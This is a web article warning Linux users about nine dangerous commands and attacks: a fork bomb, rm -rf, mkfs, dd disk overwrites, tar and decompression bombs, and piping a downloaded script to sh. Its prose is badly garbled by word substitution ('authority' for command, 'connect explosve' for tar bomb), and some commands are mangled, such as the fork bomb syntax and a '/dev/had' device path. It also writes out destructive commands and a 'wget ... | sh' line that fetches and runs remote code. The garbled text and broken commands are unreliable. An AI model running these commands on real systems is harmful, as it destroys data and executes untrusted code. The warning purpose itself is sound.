9 Linux Commands & Codes To Be Wary Of

Linux shell/terminal commands are really powerful and usually a elementary authority could lead to one deletion a folder, files or base folder, etc.

In some cases, Linux won’t even ask we for acknowledgment rather it will govern a authority right divided causing we to lose profitable information and information stored in these files and folders.

It is common for people to post calm on a web recommending new Linux users to govern these commands. This competence seem like a fun for someone who has posted a calm though it’s no shouting matter for a chairman on a other end.

(Image Source: Desktop Nexus)

We’ve collected some Linux commands that are utterly damaging for your complement to assistance we equivocate them. Do keep in mind that they are indeed dangerous and can even be altered in a accumulation of ways to furnish new commands to inflict some-more damage.

An critical thing to note is that some of these commands are usually dangerous if they are prefixed with sudo on Ubuntu. While on other distributions of Linux, many of these given commands will be dangerous to govern as root.

Take a demeanour during a 9 commands and codes we should equivocate executing.

Recommended Reading: 10 Most Asked Questions About Linux

1. Linux Fork Bomb Command

:(): ;: also famous as Fork Bomb is a denial-of-service conflict opposite a Linux System. :(): ;: is a whack function. Once executed, it repeats itself mixed times until a complement freezes.

You can usually get absolved of it by restarting your system. So be clever when executing this authority on your Linux shell.

2. mv folder/dev/null Command

mv folder/dev/null is another unsure command. Dev/null or null device is a device record that discards all a information combined on it though it reports that a essay operation is executed successfully. It is also famous as bit bucked or black hole.

3. rm -rf command

rm -rf authority is a quick approach to delete a folder and a content in a Linux handling system. If we don’t know how to use it scrupulously afterwards it can spin really dangerous to a system. The many common combinations and options used with rm-rf authority are listed below:

• rm authority is used to undo a files in Linux system.


• rm -f authority removes read-only files in folder though prompting.


• rm -r authority deletes a calm of a folder recursively.


• rm -d authority is used to mislay an dull office though it will exclude to mislay office if it is not empty.


• rm -rf/ authority is used for forced deletion (it deletes it even if it’s write protected) of all a calm in base office and underling folders.


• rm -rf* authority is used for forced deletion of all a calm in a stream office (directory we are now operative in) and underling folders.


• rm -rf. authority is used for forced deletion of all a calm in a stream folder and underling folders. The rm -r.[^.]* authority can also be used.


• rm -i authority is used for dismissal of files and folders though a prompt will seem before removal.

4. mkfs command

mkfs can be a dangerous authority for your Linux formed complement if we don’t know a purpose. Anything combined after a mkfs will be formatted and transposed by a vacant Linux record system.

All a commands mentioned next will format a tough expostulate and it requires director rights:

• mkfs


• mkfs.ext3


• mkfs.bfs


• mkfs.ext2


• mkfs.minix


• mkfs.msdos


• mkfs.reiserfs


• mkfs.vfat

The authority mkfs.cramfs will do a same thing as a above though it does not need director rights to execute.

5. Tar Bomb

The tar authority is used for mixing mixed files into a singular record (archived file) in .tar format. A Tape Archive (Tar) explosve can be combined with this command.

It is an repository record that explodes into thousands or millions of files with names identical to a existent files into a stream directory rather than into a new office when untarred.

You can equivocate apropos a plant of a connect explosve by regularly formulating a new protecting office whenever we accept a connect file and afterwards relocating a perceived connect record into this office before untarring.

If a connect record is indeed a connect explosve afterwards we can simply mislay a newly combined office to get absolved of it. Another approach to equivocate a blast of a connect explosve is around the -t choice to list all of a calm of a connect file to give we an thought of a form of calm contained within a connect file.

6. dd command

The dd authority is used to copy modify tough hoop partitions. However, it can spin out to be damaging if we mention a wrong destination.

The authority might be any one of these:

• dd if=/dev/hda of=/dev/hdb


• dd if=/dev/hda of=/dev/sdb


• dd if=something of=/dev/hda


• dd if=something of=/dev/sda

The following authority will 0 out a whole primary tough drive: dd if=/dev/zero of=/dev/had

7. Shell Script Code

Someone might delude we by giving we a couple to a bombard book and endorsing we to download and govern it. The book might enclose some antagonistic or dangerous formula inside. The format of command might demeanour like this: wget http://some_malicious_source -O- | sh. The wget will download a book while a sh downloads a book execution.

8. Malicious Source Code

Someone gives we a source formula and asks we to accumulate it. The formula may seem to be a normal formula though in fact some antagonistic formula is sheltered in a vast source code and it might means mistreat to your system. To equivocate being victimized by this kind of attack, only accept and accumulate your source formula from infallible sources.

9. Decompression Bomb

You have perceived a dense record and we are asked to remove this record that appears to be really tiny in distance though might be a few KB. In fact, this tiny sized dense record contains really rarely dense data.

Once a record is decompressed, hundreds of GB of information is extracted that can fill adult your tough drive to move down a opening of your system. To equivocate this situation, always remember to accept information from infallible sources.

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9 Linux Commands & Codes To Be Wary Of